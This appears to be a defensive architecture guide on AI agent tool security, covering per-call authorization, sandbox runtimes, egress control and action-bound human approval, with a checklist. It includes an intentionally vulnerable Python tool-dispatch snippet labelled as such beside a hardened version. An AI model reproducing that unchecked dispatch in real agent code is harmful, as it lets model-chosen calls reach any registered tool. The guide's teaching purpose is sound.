flawopen.com/Reference/AI Agent Tool Security

AI Agent Tool Security: Least Privilege, Sandboxing, and Egress

Architecture Guide

ELI5 — A sandbox is a room with locks, not a magic force field

Giving an agent a tool is like giving a contractor a keycard. A safer system issues a key for one room and one job, checks the person’s authority at the door, and asks for approval before a consequential action. A sandbox adds another barrier around code execution, but no sandbox makes an unsafe permission model safe or guarantees containment against every flaw.

Three independent control boundaries

Tool authorization: Application-side checks that decide which principal may call which operation on which resource.

Execution isolation: OS, container, or VM controls that limit the effects of untrusted code; each runtime has assumptions and residual risk.

Network egress: Explicitly controlled outbound connections. No-network mode is appropriate only when the task does not need network access.

Human approval: A confirmation step for defined high-impact operations; it complements authorization and must bind to the exact action and arguments.

1. Authorize each tool call in trusted application code

Prompt text and model decisions are untrusted inputs, not authorization. Expose narrow operations instead of open-ended shell or URL-fetch tools. Before dispatch, validate the tool name and arguments, authenticate the acting user, enforce resource-level permissions in the downstream service, and use that user’s scoped identity where possible.

2. Treat sandboxes as defense in depth

Containers share the host kernel. gVisor intercepts and implements many system calls in userspace; Firecracker uses a KVM-based microVM boundary with additional process constraints such as seccomp, cgroups, namespaces, and the jailer. These designs reduce exposure under documented assumptions; they are not “unbreakable.” Patch the host and runtime, constrain resources, remove credentials, and isolate workloads by risk.

3. Make egress and approval task-specific

Docker’s --network none gives a container only loopback networking. Use it for tasks that need no network. If a task needs APIs, enforce destinations at a separate network boundary or broker and block access to internal services and metadata endpoints. Require explicit, action-bound approval for high-impact changes; never treat a generic “human in the loop” prompt as an access-control check.

Tool dispatch: unchecked names versus authorized capabilities

agent_tools.py (Unchecked Dispatch)Vulnerable

# Risk: model-selected names reach a broad tool registry.
def invoke_tool(tool_name: str, arguments: dict, registry: dict):
    return registry[tool_name](**arguments)

agent_tools.py (Narrow Authorized Dispatch)Hardened

# Illustrative policy boundary; handlers must also enforce
# resource-level authorization in their downstream service.
ALLOWED_TOOLS = {"lookup_ticket", "draft_reply"}

def invoke_tool(principal, tool_name, arguments, registry, policy):
    if tool_name not in ALLOWED_TOOLS:
        raise PermissionError("tool is not available")
    spec = registry[tool_name]
    validated = spec.validate(arguments)
    policy.require(principal, spec.action, validated)
    return spec.handler(principal, validated)

Isolation configuration is not a permission system

Use an ephemeral, resource-limited runtime for agent-controlled code. Keep the Docker socket, host filesystem, cloud credentials, and unrelated workloads outside the sandbox. Drop unnecessary capabilities, run as a non-root identity, use a read-only root filesystem where practical, and pin reviewed images by digest. Configure a no-network runtime only for offline work; otherwise route traffic through an enforceable egress policy. The service that launches a sandbox is privileged infrastructure and needs its own authentication, input validation, and isolation.

Engineering checklist

✓Expose narrow tools: replace general shell, arbitrary URL fetch, and broad CRUD operations with task-specific handlers and validated schemas.
✓Authorize every invocation: check the authenticated user, tool, action, and target resource in trusted code and again at the downstream service.
✓Scope credentials to the user and task: use short-lived, minimum-scope identities; do not pass secrets, host sockets, or cloud metadata access into an execution sandbox.
✓Isolate untrusted code: choose and patch a container, gVisor, or microVM runtime for the threat model; constrain CPU, memory, process count, storage, and lifetime.
✓Enforce egress outside the model: default to no network when possible; otherwise use an allowlisted broker or network policy that blocks internal and metadata destinations.
✓Gate consequential actions: bind approval to the precise operation, resource, and parameters; log the decision and make retries safe.
✓Test the boundary: verify denied tools, cross-user resource access, sandbox escape assumptions, egress policy, and cleanup in a non-production environment.

Primary sources

Explore related AI security guides and incident analyses:AI Security Directory →

Framework mappings

OWASP Agentic Top 10 2026 — ASI02: Tool Misuse